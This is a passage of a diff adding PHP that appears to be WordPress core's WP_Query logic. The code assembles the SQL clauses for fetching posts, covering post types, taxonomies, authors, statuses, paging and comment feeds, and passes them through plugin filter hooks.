+					$q['name'] = $q[ $ptype_obj->query_var ];
+				} else {
+					// Hierarchical post types will operate through 'pagename'.
+					$q['pagename'] = $q[ $ptype_obj->query_var ];
+					$q['name'] = '';
+				}
+
+				// Only one request for a slug is possible, this is why name & pagename are overwritten above.
+				break;
+			} //end foreach
+			unset($ptype_obj);
+		}
+
+		if ( '' != $q['name'] ) {
+			$q['name'] = sanitize_title_for_query( $q['name'] );
+			$where .= " AND $wpdb->posts.post_name = '" . $q['name'] . "'";
+		} elseif ( '' != $q['pagename'] ) {
+			if ( isset($this->queried_object_id) ) {
+				$reqpage = $this->queried_object_id;
+			} else {
+				if ( 'page' != $q['post_type'] ) {
+					foreach ( (array)$q['post_type'] as $_post_type ) {
+						$ptype_obj = get_post_type_object($_post_type);
+						if ( !$ptype_obj || !$ptype_obj->hierarchical )
+							continue;
+
+						$reqpage = get_page_by_path($q['pagename'], OBJECT, $_post_type);
+						if ( $reqpage )
+							break;
+					}
+					unset($ptype_obj);
+				} else {
+					$reqpage = get_page_by_path($q['pagename']);
+				}
+				if ( !empty($reqpage) )
+					$reqpage = $reqpage->ID;
+				else
+					$reqpage = 0;
+			}
+
+			$page_for_posts = get_option('page_for_posts');
+			if  ( ('page' != get_option('show_on_front') ) || empty($page_for_posts) || ( $reqpage != $page_for_posts ) ) {
+				$q['pagename'] = sanitize_title_for_query( wp_basename( $q['pagename'] ) );
+				$q['name'] = $q['pagename'];
+				$where .= " AND ($wpdb->posts.ID = '$reqpage')";
+				$reqpage_obj = get_post( $reqpage );
+				if ( is_object($reqpage_obj) && 'attachment' == $reqpage_obj->post_type ) {
+					$this->is_attachment = true;
+					$post_type = $q['post_type'] = 'attachment';
+					$this->is_page = true;
+					$q['attachment_id'] = $reqpage;
+				}
+			}
+		} elseif ( '' != $q['attachment'] ) {
+			$q['attachment'] = sanitize_title_for_query( wp_basename( $q['attachment'] ) );
+			$q['name'] = $q['attachment'];
+			$where .= " AND $wpdb->posts.post_name = '" . $q['attachment'] . "'";
+		}
+
+
+		if ( intval($q['comments_popup']) )
+			$q['p'] = absint($q['comments_popup']);
+
+		// If an attachment is requested by number, let it supersede any post number.
+		if ( $q['attachment_id'] )
+			$q['p'] = absint($q['attachment_id']);
+
+		// If a post number is specified, load that post
+		if ( $q['p'] ) {
+			$where .= " AND {$wpdb->posts}.ID = " . $q['p'];
+		} elseif ( $q['post__in'] ) {
+			$post__in = implode(',', array_map( 'absint', $q['post__in'] ));
+			$where .= " AND {$wpdb->posts}.ID IN ($post__in)";
+		} elseif ( $q['post__not_in'] ) {
+			$post__not_in = implode(',',  array_map( 'absint', $q['post__not_in'] ));
+			$where .= " AND {$wpdb->posts}.ID NOT IN ($post__not_in)";
+		}
+
+		if ( is_numeric( $q['post_parent'] ) ) {
+			$where .= $wpdb->prepare( " AND $wpdb->posts.post_parent = %d ", $q['post_parent'] );
+		} elseif ( $q['post_parent__in'] ) {
+			$post_parent__in = implode( ',', array_map( 'absint', $q['post_parent__in'] ) );
+			$where .= " AND {$wpdb->posts}.post_parent IN ($post_parent__in)";
+		} elseif ( $q['post_parent__not_in'] ) {
+			$post_parent__not_in = implode( ',',  array_map( 'absint', $q['post_parent__not_in'] ) );
+			$where .= " AND {$wpdb->posts}.post_parent NOT IN ($post_parent__not_in)";
+		}
+
+		if ( $q['page_id'] ) {
+			if  ( ('page' != get_option('show_on_front') ) || ( $q['page_id'] != get_option('page_for_posts') ) ) {
+				$q['p'] = $q['page_id'];
+				$where = " AND {$wpdb->posts}.ID = " . $q['page_id'];
+			}
+		}
+
+		// If a search pattern is specified, load the posts that match.
+		if ( ! empty( $q['s'] ) ) {
+			$search = $this->parse_search( $q );
+		}
+
+		/**
+		 * Filter the search SQL that is used in the WHERE clause of WP_Query.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string   $search Search SQL for WHERE clause.
+		 * @param WP_Query $this   The current WP_Query object.
+		 */
+		$search = apply_filters_ref_array( 'posts_search', array( $search, &$this ) );
+
+		// Taxonomies
+		if ( !$this->is_singular ) {
+			$this->parse_tax_query( $q );
+
+			$clauses = $this->tax_query->get_sql( $wpdb->posts, 'ID' );
+
+			$join .= $clauses['join'];
+			$where .= $clauses['where'];
+		}
+
+		if ( $this->is_tax ) {
+			if ( empty($post_type) ) {
+				// Do a fully inclusive search for currently registered post types of queried taxonomies
+				$post_type = array();
+				$taxonomies = array_keys( $this->tax_query->queried_terms );
+				foreach ( get_post_types( array( 'exclude_from_search' => false ) ) as $pt ) {
+					$object_taxonomies = $pt === 'attachment' ? get_taxonomies_for_attachments() : get_object_taxonomies( $pt );
+					if ( array_intersect( $taxonomies, $object_taxonomies ) )
+						$post_type[] = $pt;
+				}
+				if ( ! $post_type )
+					$post_type = 'any';
+				elseif ( count( $post_type ) == 1 )
+					$post_type = $post_type[0];
+
+				$post_status_join = true;
+			} elseif ( in_array('attachment', (array) $post_type) ) {
+				$post_status_join = true;
+			}
+		}
+
+		/*
+		 * Ensure that 'taxonomy', 'term', 'term_id', 'cat', and
+		 * 'category_name' vars are set for backward compatibility.
+		 */
+		if ( ! empty( $this->tax_query->queried_terms ) ) {
+
+			/*
+			 * Set 'taxonomy', 'term', and 'term_id' to the
+			 * first taxonomy other than 'post_tag' or 'category'.
+			 */
+			if ( ! isset( $q['taxonomy'] ) ) {
+				foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
+					if ( empty( $queried_items['terms'][0] ) ) {
+						continue;
+					}
+
+					if ( ! in_array( $queried_taxonomy, array( 'category', 'post_tag' ) ) ) {
+						$q['taxonomy'] = $queried_taxonomy;
+
+						if ( 'slug' === $queried_items['field'] ) {
+							$q['term'] = $queried_items['terms'][0];
+						} else {
+							$q['term_id'] = $queried_items['terms'][0];
+						}
+					}
+				}
+			}
+
+			// 'cat', 'category_name', 'tag_id'
+			foreach ( $this->tax_query->queried_terms as $queried_taxonomy => $queried_items ) {
+				if ( empty( $queried_items['terms'][0] ) ) {
+					continue;
+				}
+
+				if ( 'category' === $queried_taxonomy ) {
+					$the_cat = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'category' );
+					if ( $the_cat ) {
+						$this->set( 'cat', $the_cat->term_id );
+						$this->set( 'category_name', $the_cat->slug );
+					}
+					unset( $the_cat );
+				}
+
+				if ( 'post_tag' === $queried_taxonomy ) {
+					$the_tag = get_term_by( $queried_items['field'], $queried_items['terms'][0], 'post_tag' );
+					if ( $the_tag ) {
+						$this->set( 'tag_id', $the_tag->term_id );
+					}
+					unset( $the_tag );
+				}
+			}
+		}
+
+		if ( !empty( $this->tax_query->queries ) || !empty( $this->meta_query->queries ) ) {
+			$groupby = "{$wpdb->posts}.ID";
+		}
+
+		// Author/user stuff
+
+		if ( ! empty( $q['author'] ) && $q['author'] != '0' ) {
+			$q['author'] = addslashes_gpc( '' . urldecode( $q['author'] ) );
+			$authors = array_unique( array_map( 'intval', preg_split( '/[,\s]+/', $q['author'] ) ) );
+			foreach ( $authors as $author ) {
+				$key = $author > 0 ? 'author__in' : 'author__not_in';
+				$q[$key][] = abs( $author );
+			}
+			$q['author'] = implode( ',', $authors );
+		}
+
+		if ( ! empty( $q['author__not_in'] ) ) {
+			$author__not_in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__not_in'] ) ) );
+			$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
+		} elseif ( ! empty( $q['author__in'] ) ) {
+			$author__in = implode( ',', array_map( 'absint', array_unique( (array) $q['author__in'] ) ) );
+			$where .= " AND {$wpdb->posts}.post_author IN ($author__in) ";
+		}
+
+		// Author stuff for nice URLs
+
+		if ( '' != $q['author_name'] ) {
+			if ( strpos($q['author_name'], '/') !== false ) {
+				$q['author_name'] = explode('/', $q['author_name']);
+				if ( $q['author_name'][ count($q['author_name'])-1 ] ) {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-1]; // no trailing slash
+				} else {
+					$q['author_name'] = $q['author_name'][count($q['author_name'])-2]; // there was a trailing slash
+				}
+			}
+			$q['author_name'] = sanitize_title_for_query( $q['author_name'] );
+			$q['author'] = get_user_by('slug', $q['author_name']);
+			if ( $q['author'] )
+				$q['author'] = $q['author']->ID;
+			$whichauthor .= " AND ($wpdb->posts.post_author = " . absint($q['author']) . ')';
+		}
+
+		// MIME-Type stuff for attachment browsing
+
+		if ( isset( $q['post_mime_type'] ) && '' != $q['post_mime_type'] )
+			$whichmimetype = wp_post_mime_type_where( $q['post_mime_type'], $wpdb->posts );
+
+		$where .= $search . $whichauthor . $whichmimetype;
+
+		$rand = ( isset( $q['orderby'] ) && 'rand' === $q['orderby'] );
+		if ( ! isset( $q['order'] ) ) {
+			$q['order'] = $rand ? '' : 'DESC';
+		} else {
+			$q['order'] = $rand ? '' : $this->parse_order( $q['order'] );
+		}
+
+		// Order by.
+		if ( empty( $q['orderby'] ) ) {
+			/*
+			 * Boolean false or empty array blanks out ORDER BY,
+			 * while leaving the value unset or otherwise empty sets the default.
+			 */
+			if ( isset( $q['orderby'] ) && ( is_array( $q['orderby'] ) || false === $q['orderby'] ) ) {
+				$orderby = '';
+			} else {
+				$orderby = "$wpdb->posts.post_date " . $q['order'];
+			}
+		} elseif ( 'none' == $q['orderby'] ) {
+			$orderby = '';
+		} elseif ( $q['orderby'] == 'post__in' && ! empty( $post__in ) ) {
+			$orderby = "FIELD( {$wpdb->posts}.ID, $post__in )";
+		} elseif ( $q['orderby'] == 'post_parent__in' && ! empty( $post_parent__in ) ) {
+			$orderby = "FIELD( {$wpdb->posts}.post_parent, $post_parent__in )";
+		} else {
+			$orderby_array = array();
+			if ( is_array( $q['orderby'] ) ) {
+				foreach ( $q['orderby'] as $_orderby => $order ) {
+					$orderby = addslashes_gpc( urldecode( $_orderby ) );
+					$parsed  = $this->parse_orderby( $orderby );
+
+					if ( ! $parsed ) {
+						continue;
+					}
+
+					$orderby_array[] = $parsed . ' ' . $this->parse_order( $order );
+				}
+				$orderby = implode( ', ', $orderby_array );
+
+			} else {
+				$q['orderby'] = urldecode( $q['orderby'] );
+				$q['orderby'] = addslashes_gpc( $q['orderby'] );
+
+				foreach ( explode( ' ', $q['orderby'] ) as $i => $orderby ) {
+					$parsed = $this->parse_orderby( $orderby );
+					// Only allow certain values for safety.
+					if ( ! $parsed ) {
+						continue;
+					}
+
+					$orderby_array[] = $parsed;
+				}
+				$orderby = implode( ' ' . $q['order'] . ', ', $orderby_array );
+
+				if ( empty( $orderby ) ) {
+					$orderby = "$wpdb->posts.post_date " . $q['order'];
+				} elseif ( ! empty( $q['order'] ) ) {
+					$orderby .= " {$q['order']}";
+				}
+			}
+		}
+
+		// Order search results by relevance only when another "orderby" is not specified in the query.
+		if ( ! empty( $q['s'] ) ) {
+			$search_orderby = '';
+			if ( ! empty( $q['search_orderby_title'] ) && ( empty( $q['orderby'] ) && ! $this->is_feed ) || ( isset( $q['orderby'] ) && 'relevance' === $q['orderby'] ) )
+				$search_orderby = $this->parse_search_order( $q );
+
+			/**
+			 * Filter the ORDER BY used when ordering search results.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param string   $search_orderby The ORDER BY clause.
+			 * @param WP_Query $this           The current WP_Query instance.
+			 */
+			$search_orderby = apply_filters( 'posts_search_orderby', $search_orderby, $this );
+			if ( $search_orderby )
+				$orderby = $orderby ? $search_orderby . ', ' . $orderby : $search_orderby;
+		}
+
+		if ( is_array( $post_type ) && count( $post_type ) > 1 ) {
+			$post_type_cap = 'multiple_post_type';
+		} else {
+			if ( is_array( $post_type ) )
+				$post_type = reset( $post_type );
+			$post_type_object = get_post_type_object( $post_type );
+			if ( empty( $post_type_object ) )
+				$post_type_cap = $post_type;
+		}
+
+		if ( isset( $q['post_password'] ) ) {
+			$where .= $wpdb->prepare( " AND $wpdb->posts.post_password = %s", $q['post_password'] );
+			if ( empty( $q['perm'] ) ) {
+				$q['perm'] = 'readable';
+			}
+		} elseif ( isset( $q['has_password'] ) ) {
+			$where .= sprintf( " AND $wpdb->posts.post_password %s ''", $q['has_password'] ? '!=' : '=' );
+		}
+
+		if ( 'any' == $post_type ) {
+			$in_search_post_types = get_post_types( array('exclude_from_search' => false) );
+			if ( empty( $in_search_post_types ) )
+				$where .= ' AND 1=0 ';
+			else
+				$where .= " AND $wpdb->posts.post_type IN ('" . join("', '", $in_search_post_types ) . "')";
+		} elseif ( !empty( $post_type ) && is_array( $post_type ) ) {
+			$where .= " AND $wpdb->posts.post_type IN ('" . join("', '", $post_type) . "')";
+		} elseif ( ! empty( $post_type ) ) {
+			$where .= " AND $wpdb->posts.post_type = '$post_type'";
+			$post_type_object = get_post_type_object ( $post_type );
+		} elseif ( $this->is_attachment ) {
+			$where .= " AND $wpdb->posts.post_type = 'attachment'";
+			$post_type_object = get_post_type_object ( 'attachment' );
+		} elseif ( $this->is_page ) {
+			$where .= " AND $wpdb->posts.post_type = 'page'";
+			$post_type_object = get_post_type_object ( 'page' );
+		} else {
+			$where .= " AND $wpdb->posts.post_type = 'post'";
+			$post_type_object = get_post_type_object ( 'post' );
+		}
+
+		$edit_cap = 'edit_post';
+		$read_cap = 'read_post';
+
+		if ( ! empty( $post_type_object ) ) {
+			$edit_others_cap = $post_type_object->cap->edit_others_posts;
+			$read_private_cap = $post_type_object->cap->read_private_posts;
+		} else {
+			$edit_others_cap = 'edit_others_' . $post_type_cap . 's';
+			$read_private_cap = 'read_private_' . $post_type_cap . 's';
+		}
+
+		$user_id = get_current_user_id();
+
+		if ( ! empty( $q['post_status'] ) ) {
+			$statuswheres = array();
+			$q_status = $q['post_status'];
+			if ( ! is_array( $q_status ) )
+				$q_status = explode(',', $q_status);
+			$r_status = array();
+			$p_status = array();
+			$e_status = array();
+			if ( in_array( 'any', $q_status ) ) {
+				foreach ( get_post_stati( array( 'exclude_from_search' => true ) ) as $status ) {
+					if ( ! in_array( $status, $q_status ) ) {
+						$e_status[] = "$wpdb->posts.post_status <> '$status'";
+					}
+				}
+			} else {
+				foreach ( get_post_stati() as $status ) {
+					if ( in_array( $status, $q_status ) ) {
+						if ( 'private' == $status )
+							$p_status[] = "$wpdb->posts.post_status = '$status'";
+						else
+							$r_status[] = "$wpdb->posts.post_status = '$status'";
+					}
+				}
+			}
+
+			if ( empty($q['perm'] ) || 'readable' != $q['perm'] ) {
+				$r_status = array_merge($r_status, $p_status);
+				unset($p_status);
+			}
+
+			if ( !empty($e_status) ) {
+				$statuswheres[] = "(" . join( ' AND ', $e_status ) . ")";
+			}
+			if ( !empty($r_status) ) {
+				if ( !empty($q['perm'] ) && 'editable' == $q['perm'] && !current_user_can($edit_others_cap) )
+					$statuswheres[] = "($wpdb->posts.post_author = $user_id " . "AND (" . join( ' OR ', $r_status ) . "))";
+				else
+					$statuswheres[] = "(" . join( ' OR ', $r_status ) . ")";
+			}
+			if ( !empty($p_status) ) {
+				if ( !empty($q['perm'] ) && 'readable' == $q['perm'] && !current_user_can($read_private_cap) )
+					$statuswheres[] = "($wpdb->posts.post_author = $user_id " . "AND (" . join( ' OR ', $p_status ) . "))";
+				else
+					$statuswheres[] = "(" . join( ' OR ', $p_status ) . ")";
+			}
+			if ( $post_status_join ) {
+				$join .= " LEFT JOIN $wpdb->posts AS p2 ON ($wpdb->posts.post_parent = p2.ID) ";
+				foreach ( $statuswheres as $index => $statuswhere )
+					$statuswheres[$index] = "($statuswhere OR ($wpdb->posts.post_status = 'inherit' AND " . str_replace($wpdb->posts, 'p2', $statuswhere) . "))";
+			}
+			$where_status = implode( ' OR ', $statuswheres );
+			if ( ! empty( $where_status ) ) {
+				$where .= " AND ($where_status)";
+			}
+		} elseif ( !$this->is_singular ) {
+			$where .= " AND ($wpdb->posts.post_status = 'publish'";
+
+			// Add public states.
+			$public_states = get_post_stati( array('public' => true) );
+			foreach ( (array) $public_states as $state ) {
+				if ( 'publish' == $state ) // Publish is hard-coded above.
+					continue;
+				$where .= " OR $wpdb->posts.post_status = '$state'";
+			}
+
+			if ( $this->is_admin ) {
+				// Add protected states that should show in the admin all list.
+				$admin_all_states = get_post_stati( array('protected' => true, 'show_in_admin_all_list' => true) );
+				foreach ( (array) $admin_all_states as $state )
+					$where .= " OR $wpdb->posts.post_status = '$state'";
+			}
+
+			if ( is_user_logged_in() ) {
+				// Add private states that are limited to viewing by the author of a post or someone who has caps to read private states.
+				$private_states = get_post_stati( array('private' => true) );
+				foreach ( (array) $private_states as $state )
+					$where .= current_user_can( $read_private_cap ) ? " OR $wpdb->posts.post_status = '$state'" : " OR $wpdb->posts.post_author = $user_id AND $wpdb->posts.post_status = '$state'";
+			}
+
+			$where .= ')';
+		}
+
+		if ( !empty( $this->meta_query->queries ) ) {
+			$clauses = $this->meta_query->get_sql( 'post', $wpdb->posts, 'ID', $this );
+			$join .= $clauses['join'];
+			$where .= $clauses['where'];
+		}
+
+		/*
+		 * Apply filters on where and join prior to paging so that any
+		 * manipulations to them are reflected in the paging by day queries.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filter the WHERE clause of the query.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where', array( $where, &$this ) );
+
+			/**
+			 * Filter the JOIN clause of the query.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $where The JOIN clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join', array( $join, &$this ) );
+		}
+
+		// Paging
+		if ( empty($q['nopaging']) && !$this->is_singular ) {
+			$page = absint($q['paged']);
+			if ( !$page )
+				$page = 1;
+
+			if ( empty($q['offset']) ) {
+				$pgstrt = absint( ( $page - 1 ) * $q['posts_per_page'] ) . ', ';
+			} else { // we're ignoring $page and using 'offset'
+				$q['offset'] = absint($q['offset']);
+				$pgstrt = $q['offset'] . ', ';
+			}
+			$limits = 'LIMIT ' . $pgstrt . $q['posts_per_page'];
+		}
+
+		// Comments feeds
+		if ( $this->is_comment_feed && ! $this->is_singular ) {
+			if ( $this->is_archive || $this->is_search ) {
+				$cjoin = "JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) $join ";
+				$cwhere = "WHERE comment_approved = '1' $where";
+				$cgroupby = "$wpdb->comments.comment_id";
+			} else { // Other non singular e.g. front
+				$cjoin = "JOIN $wpdb->posts ON ( $wpdb->comments.comment_post_ID = $wpdb->posts.ID )";
+				$cwhere = "WHERE post_status = 'publish' AND comment_approved = '1'";
+				$cgroupby = '';
+			}
+
+			if ( !$q['suppress_filters'] ) {
+				/**
+				 * Filter the JOIN clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cjoin The JOIN clause of the query.
+				 * @param WP_Query &$this The WP_Query instance (passed by reference).
+				 */
+				$cjoin = apply_filters_ref_array( 'comment_feed_join', array( $cjoin, &$this ) );
+
+				/**
+				 * Filter the WHERE clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cwhere The WHERE clause of the query.
+				 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+				 */
+				$cwhere = apply_filters_ref_array( 'comment_feed_where', array( $cwhere, &$this ) );
+
+				/**
+				 * Filter the GROUP BY clause of the comments feed query before sending.
+				 *
+				 * @since 2.2.0
+				 *
+				 * @param string   $cgroupby The GROUP BY clause of the query.
+				 * @param WP_Query &$this    The WP_Query instance (passed by reference).
+				 */
+				$cgroupby = apply_filters_ref_array( 'comment_feed_groupby', array( $cgroupby, &$this ) );
+
+				/**
+				 * Filter the ORDER BY clause of the comments feed query before sending.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string   $corderby The ORDER BY clause of the query.
+				 * @param WP_Query &$this    The WP_Query instance (passed by reference).
+				 */
+				$corderby = apply_filters_ref_array( 'comment_feed_orderby', array( 'comment_date_gmt DESC', &$this ) );
+
+				/**
+				 * Filter the LIMIT clause of the comments feed query before sending.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param string   $climits The JOIN clause of the query.
+				 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+				 */
+				$climits = apply_filters_ref_array( 'comment_feed_limits', array( 'LIMIT ' . get_option('posts_per_rss'), &$this ) );
+			}
+			$cgroupby = ( ! empty( $cgroupby ) ) ? 'GROUP BY ' . $cgroupby : '';
+			$corderby = ( ! empty( $corderby ) ) ? 'ORDER BY ' . $corderby : '';
+
+			$this->comments = (array) $wpdb->get_results("SELECT $distinct $wpdb->comments.* FROM $wpdb->comments $cjoin $cwhere $cgroupby $corderby $climits");
+			$this->comment_count = count($this->comments);
+
+			$post_ids = array();
+
+			foreach ( $this->comments as $comment )
+				$post_ids[] = (int) $comment->comment_post_ID;
+
+			$post_ids = join(',', $post_ids);
+			$join = '';
+			if ( $post_ids )
+				$where = "AND $wpdb->posts.ID IN ($post_ids) ";
+			else
+				$where = "AND 0";
+		}
+
+		$pieces = array( 'where', 'groupby', 'join', 'orderby', 'distinct', 'fields', 'limits' );
+
+		/*
+		 * Apply post-paging filters on where and join. Only plugins that
+		 * manipulate paging queries should use these hooks.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filter the WHERE clause of the query.
+			 *
+			 * Specifically for manipulating paging queries.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where_paged', array( $where, &$this ) );
+
+			/**
+			 * Filter the GROUP BY clause of the query.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param string   $groupby The GROUP BY clause of the query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$groupby = apply_filters_ref_array( 'posts_groupby', array( $groupby, &$this ) );
+
+			/**
+			 * Filter the JOIN clause of the query.
+			 *
+			 * Specifically for manipulating paging queries.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string   $join  The JOIN clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join_paged', array( $join, &$this ) );
+
+			/**
+			 * Filter the ORDER BY clause of the query.
+			 *
+			 * @since 1.5.1
+			 *
+			 * @param string   $orderby The ORDER BY clause of the query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$orderby = apply_filters_ref_array( 'posts_orderby', array( $orderby, &$this ) );
+
+			/**
+			 * Filter the DISTINCT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $distinct The DISTINCT clause of the query.
+			 * @param WP_Query &$this    The WP_Query instance (passed by reference).
+			 */
+			$distinct = apply_filters_ref_array( 'posts_distinct', array( $distinct, &$this ) );
+
+			/**
+			 * Filter the LIMIT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $limits The LIMIT clause of the query.
+			 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+			 */
+			$limits = apply_filters_ref_array( 'post_limits', array( $limits, &$this ) );
+
+			/**
+			 * Filter the SELECT clause of the query.
+			 *
+			 * @since 2.1.0
+			 *
+			 * @param string   $fields The SELECT clause of the query.
+			 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+			 */
+			$fields = apply_filters_ref_array( 'posts_fields', array( $fields, &$this ) );
+
+			/**
+			 * Filter all query clauses at once, for convenience.
+			 *
+			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
+			 * fields (SELECT), and LIMITS clauses.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array    $clauses The list of clauses for the query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$clauses = (array) apply_filters_ref_array( 'posts_clauses', array( compact( $pieces ), &$this ) );
+
+			$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+			$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+			$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+			$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+			$distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : '';
+			$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+			$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		}
+
+		/**
+		 * Fires to announce the query's current selection parameters.
+		 *
+		 * For use by caching plugins.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $selection The assembled selection query.
+		 */
+		do_action( 'posts_selection', $where . $groupby . $orderby . $limits . $join );
+
+		/*
+		 * Filter again for the benefit of caching plugins.
+		 * Regular plugins should use the hooks above.
+		 */
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filter the WHERE clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $where The WHERE clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$where = apply_filters_ref_array( 'posts_where_request', array( $where, &$this ) );
+
+			/**
+			 * Filter the GROUP BY clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $groupby The GROUP BY clause of the query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$groupby = apply_filters_ref_array( 'posts_groupby_request', array( $groupby, &$this ) );
+
+			/**
+			 * Filter the JOIN clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $join  The JOIN clause of the query.
+			 * @param WP_Query &$this The WP_Query instance (passed by reference).
+			 */
+			$join = apply_filters_ref_array( 'posts_join_request', array( $join, &$this ) );
+
+			/**
+			 * Filter the ORDER BY clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $orderby The ORDER BY clause of the query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$orderby = apply_filters_ref_array( 'posts_orderby_request', array( $orderby, &$this ) );
+
+			/**
+			 * Filter the DISTINCT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $distinct The DISTINCT clause of the query.
+			 * @param WP_Query &$this    The WP_Query instance (passed by reference).
+			 */
+			$distinct = apply_filters_ref_array( 'posts_distinct_request', array( $distinct, &$this ) );
+
+			/**
+			 * Filter the SELECT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $fields The SELECT clause of the query.
+			 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+			 */
+			$fields = apply_filters_ref_array( 'posts_fields_request', array( $fields, &$this ) );
+
+			/**
+			 * Filter the LIMIT clause of the query.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string   $limits The LIMIT clause of the query.
+			 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+			 */
+			$limits = apply_filters_ref_array( 'post_limits_request', array( $limits, &$this ) );
+
+			/**
+			 * Filter all query clauses at once, for convenience.
+			 *
+			 * For use by caching plugins.
+			 *
+			 * Covers the WHERE, GROUP BY, JOIN, ORDER BY, DISTINCT,
+			 * fields (SELECT), and LIMITS clauses.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array    $pieces The pieces of the query.
+			 * @param WP_Query &$this  The WP_Query instance (passed by reference).
+			 */
+			$clauses = (array) apply_filters_ref_array( 'posts_clauses_request', array( compact( $pieces ), &$this ) );
+
+			$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+			$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+			$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+			$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+			$distinct = isset( $clauses[ 'distinct' ] ) ? $clauses[ 'distinct' ] : '';
+			$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+			$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		}
+
+		if ( ! empty($groupby) )
+			$groupby = 'GROUP BY ' . $groupby;
+		if ( !empty( $orderby ) )
+			$orderby = 'ORDER BY ' . $orderby;
+
+		$found_rows = '';
+		if ( !$q['no_found_rows'] && !empty($limits) )
+			$found_rows = 'SQL_CALC_FOUND_ROWS';
+
+		$this->request = $old_request = "SELECT $found_rows $distinct $fields FROM $wpdb->posts $join WHERE 1=1 $where $groupby $orderby $limits";
+
+		if ( !$q['suppress_filters'] ) {
+			/**
+			 * Filter the completed SQL query before sending.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param array    $request The complete SQL query.
+			 * @param WP_Query &$this   The WP_Query instance (passed by reference).
+			 */
+			$this->request = apply_filters_ref_array( 'posts_request', array( $this->request, &$this ) );
+		}
+
+		if ( 'ids' == $q['fields'] ) {
+			$this->posts = $wpdb->get_col( $this->request );
+			$this->post_count = count( $this->posts );
+			$this->set_found_posts( $q, $limits );
+
+			return array_map( 'intval', $this->posts );
+		}
+
+		if ( 'id=>parent' == $q['fields'] ) {
+			$this->posts = $wpdb->get_results( $this->request );
+			$this->post_count = count( $this->posts );
+			$this->set_found_posts( $q, $limits );
+
+			$r = array();
+			foreach ( $this->posts as $post ) {
+				$r[ (int) $post->ID ] = (int) $post->post_parent;
+			}
+			return $r;
+		}
+
